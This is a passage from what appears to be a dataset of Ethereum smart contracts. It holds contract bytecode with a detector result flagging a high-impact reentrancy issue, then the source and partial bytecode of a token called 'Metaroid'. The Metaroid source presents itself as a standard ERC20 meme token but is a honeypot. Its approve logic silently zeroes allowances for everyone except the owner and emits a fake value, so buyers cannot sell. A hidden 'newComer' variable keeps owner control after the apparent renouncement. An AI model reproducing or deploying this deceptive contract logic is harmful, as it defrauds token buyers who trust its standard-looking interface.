ffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172a90613442565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118119190613562565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590613502565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f5906133a2565b60405180910390fd5b60008111611941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611938906134e2565b60405180910390fd5b611949610e78565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610e78565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da257601560149054906101000a900460ff16611a46576119d8610e78565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3c906133c2565b60405180910390fd5b5b601654811115611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8290613402565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6590613462565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c1b5760175481611bd084610c2f565b611bda9190613698565b10611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613522565b60405180910390fd5b5b6000611c2630610c2f565b9050600060185482101590506016548210611c415760165491505b808015611c59575060158054906101000a900460ff16155b8015611cb35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ccb5750601560169054906101000a900460ff165b8015611d215750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d775750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9f57611d8582612270565b60004790506000811115611d9d57611d9c47612107565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efc5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611efb5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f0a5760009050612091565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb55750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcd57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120785750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209057600a54600c81905550600b54600d819055505b5b61209d84848484612568565b50505050565b60008383111582906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e29190613380565b60405180910390fd5b50600083856120fa9190613779565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215760028461259590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d360028461259590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fe573d6000803e3d6000fd5b5050565b6000600654821115612249576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612240906133e2565b60405180910390fd5b60006122536125df565b9050612268818461259590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122fb5781602001602082028036833780820191505090505b5090503081600081518110612339577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123db57600080fd5b505afa1580156123ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124139190612def565b8160018151811061244d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611653565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161251895949392919061357d565b600060405180830381600087803b15801561253257600080fd5b505af1158015612546573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125765761257561260a565b5b61258184848461264d565b8061258f5761258e612818565b5b50505050565b60006125d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282c565b905092915050565b60008060006125ec61288f565b91509150612603818361259590919063ffffffff16565b9250505090565b6000600c5414801561261e57506000600d54145b156126285761264b565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265f876128f1565b9550955095509550955095506126bd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279e81612a01565b6127a88483612abe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128059190613562565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286a9190613380565b60405180910390fd5b506000838561288291906136ee565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506128c5683635c9adc5dea0000060065461259590919063ffffffff16565b8210156128e457600654683635c9adc5dea000009350935050506128ed565b81819350935050505b9091565b600080600080600080600080600061290e8a600c54600d54612af8565b925092509250600061291e6125df565b905060008060006129318e878787612b8e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a3565b905092915050565b60008082846129b29190613698565b9050838110156129f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ee90613482565b60405180910390fd5b8091505092915050565b6000612a0b6125df565b90506000612a228284612c1790919063ffffffff16565b9050612a7681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612ad38260065461295990919063ffffffff16565b600681905550612aee816007546129a390919063ffffffff16565b6007819055505050565b600080600080612b246064612b16888a612c1790919063ffffffff16565b61259590919063ffffffff16565b90506000612b4e6064612b40888b612c1790919063ffffffff16565b61259590919063ffffffff16565b90506000612b7782612b69858c61295990919063ffffffff16565b61295990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ba78589612c1790919063ffffffff16565b90506000612bbe8689612c1790919063ffffffff16565b90506000612bd58789612c1790919063ffffffff16565b90506000612bfe82612bf0858761295990919063ffffffff16565b61295990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c2a5760009050612c8c565b60008284612c38919061371f565b9050828482612c4791906136ee565b14612c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7e906134a2565b60405180910390fd5b809150505b92915050565b6000612ca5612ca084613617565b6135f2565b90508083825260208201905082856020860282011115612cc457600080fd5b60005b85811015612cf45781612cda8882612cfe565b845260208401935060208301925050600181019050612cc7565b5050509392505050565b600081359050612d0d81613d63565b92915050565b600081519050612d2281613d63565b92915050565b60008083601f840112612d3a57600080fd5b8235905067ffffffffffffffff811115612d5357600080fd5b602083019150836020820283011115612d6b57600080fd5b9250929050565b600082601f830112612d8357600080fd5b8135612d93848260208601612c92565b91505092915050565b600081359050612dab81613d7a565b92915050565b600081359050612dc081613d91565b92915050565b600060208284031215612dd857600080fd5b6000612de684828501612cfe565b91505092915050565b600060208284031215612e0157600080fd5b6000612e0f84828501612d13565b91505092915050565b60008060408385031215612e2b57600080fd5b6000612e3985828601612cfe565b9250506020612e4a85828601612cfe565b9150509250929050565b600080600060608486031215612e6957600080fd5b6000612e7786828701612cfe565b9350506020612e8886828701612cfe565b9250506040612e9986828701612db1565b9150509250925092565b60008060408385031215612eb657600080fd5b6000612ec485828601612cfe565b9250506020612ed585828601612db1565b9150509250929050565b600080600060408486031215612ef457600080fd5b600084013567ffffffffffffffff811115612f0e57600080fd5b612f1a86828701612d28565b93509350506020612f2d86828701612d9c565b9150509250925092565b600060208284031215612f4957600080fd5b600082013567ffffffffffffffff811115612f6357600080fd5b612f6f84828501612d72565b91505092915050565b600060208284031215612f8a57600080fd5b6000612f9884828501612d9c565b91505092915050565b600060208284031215612fb357600080fd5b6000612fc184828501612db1565b91505092915050565b60008060008060808587031215612fe057600080fd5b6000612fee87828801612db1565b9450506020612fff87828801612db1565b935050604061301087828801612db1565b925050606061302187828801612db1565b91505092959194509250565b60006130398383613045565b60208301905092915050565b61304e816137ad565b82525050565b61305d816137ad565b82525050565b600061306e82613653565b6130788185613676565b935061308383613643565b8060005b838110156130b457815161309b888261302d565b97506130a683613669565b925050600181019050613087565b5085935050505092915050565b6130ca816137bf565b82525050565b6130d981613802565b82525050565b6130e881613826565b82525050565b60006130f98261365e565b6131038185613687565b9350613113818560208601613838565b61311c81613972565b840191505092915050565b6000613134602383613687565b915061313f82613983565b604082019050919050565b6000613157603f83613687565b9150613162826139d2565b604082019050919050565b600061317a602a83613687565b915061318582613a21565b604082019050919050565b600061319d601c83613687565b91506131a882613a70565b602082019050919050565b60006131c0602683613687565b91506131cb82613a99565b604082019050919050565b60006131e3602283613687565b91506131ee82613ae8565b604082019050919050565b6000613206602383613687565b915061321182613b37565b604082019050919050565b6000613229601b83613687565b915061323482613b86565b602082019050919050565b600061324c602183613687565b915061325782613baf565b604082019050919050565b600061326f602083613687565b915061327a82613bfe565b602082019050919050565b6000613292602983613687565b915061329d82613c27565b604082019050919050565b60006132b5602583613687565b91506132c082613c76565b604082019050919050565b60006132d8602383613687565b91506132e382613cc5565b604082019050919050565b60006132fb602483613687565b915061330682613d14565b604082019050919050565b61331a816137eb565b82525050565b613329816137f5565b82525050565b60006020820190506133446000830184613054565b92915050565b600060208201905061335f60008301846130c1565b92915050565b600060208201905061337a60008301846130d0565b92915050565b6000602082019050818103600083015261339a81846130ee565b905092915050565b600060208201905081810360008301526133bb81613127565b9050919050565b600060208201905081810360008301526133db8161314a565b9050919050565b600060208201905081810360008301526133fb8161316d565b9050919050565b6000602082019050818103600083015261341b81613190565b9050919050565b6000602082019050818103600083015261343b816131b3565b9050919050565b6000602082019050818103600083015261345b816131d6565b9050919050565b6000602082019050818103600083015261347b816131f9565b9050919050565b6000602082019050818103600083015261349b8161321c565b9050919050565b600060208201905081810360008301526134bb8161323f565b9050919050565b600060208201905081810360008301526134db81613262565b9050919050565b600060208201905081810360008301526134fb81613285565b9050919050565b6000602082019050818103600083015261351b816132a8565b9050919050565b6000602082019050818103600083015261353b816132cb565b9050919050565b6000602082019050818103600083015261355b816132ee565b9050919050565b60006020820190506135776000830184613311565b92915050565b600060a0820190506135926000830188613311565b61359f60208301876130df565b81810360408301526135b18186613063565b90506135c06060830185613054565b6135cd6080830184613311565b9695505050505050565b60006020820190506135ec6000830184613320565b92915050565b60006135fc61360d565b9050613608828261386b565b919050565b6000604051905090565b600067ffffffffffffffff82111561363257613631613943565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136a3826137eb565b91506136ae836137eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136e3576136e26138e5565b5b828201905092915050565b60006136f9826137eb565b9150613704836137eb565b92508261371457613713613914565b5b828204905092915050565b600061372a826137eb565b9150613735836137eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561376e5761376d6138e5565b5b828202905092915050565b6000613784826137eb565b915061378f836137eb565b9250828210156137a2576137a16138e5565b5b828203905092915050565b60006137b8826137cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061380d82613814565b9050919050565b600061381f826137cb565b9050919050565b6000613831826137eb565b9050919050565b60005b8381101561385657808201518184015260208101905061383b565b83811115613865576000848401525b50505050565b61387482613972565b810181811067ffffffffffffffff8211171561389357613892613943565b5b80604052505050565b60006138a7826137eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138da576138d96138e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d6c816137ad565b8114613d7757600080fd5b50565b613d83816137bf565b8114613d8e57600080fd5b50565b613d9a816137eb565b8114613da557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d99e355951687a3cbb962bdea2c6a9d7fae13d593d18fe0dc568c4a514ba260864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,894
0x79291b0b1cd52e965228bed06ff8166c23047bbb
/** *Submitted for verification at Etherscan.io on 2021-11-06 */ /* Metaroid is the world's first cyber meme token that will be used on our metaverse gaming platform. We're sure Metaverse will be the world of Metaroids so all you need is to grab some $METAROIDs and hodl, to be one of the first person to get into the exciting Metaverse. Our very first demo platform will be published by Jan 2022 Website: https://metaroid.finance Twitter: https://twitter.com/MetaroidToken */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract METAROID is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = ' Metaroid'; string private _symbol = 'METAROID '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073fffffffffffffffffffffffffffffffffffffff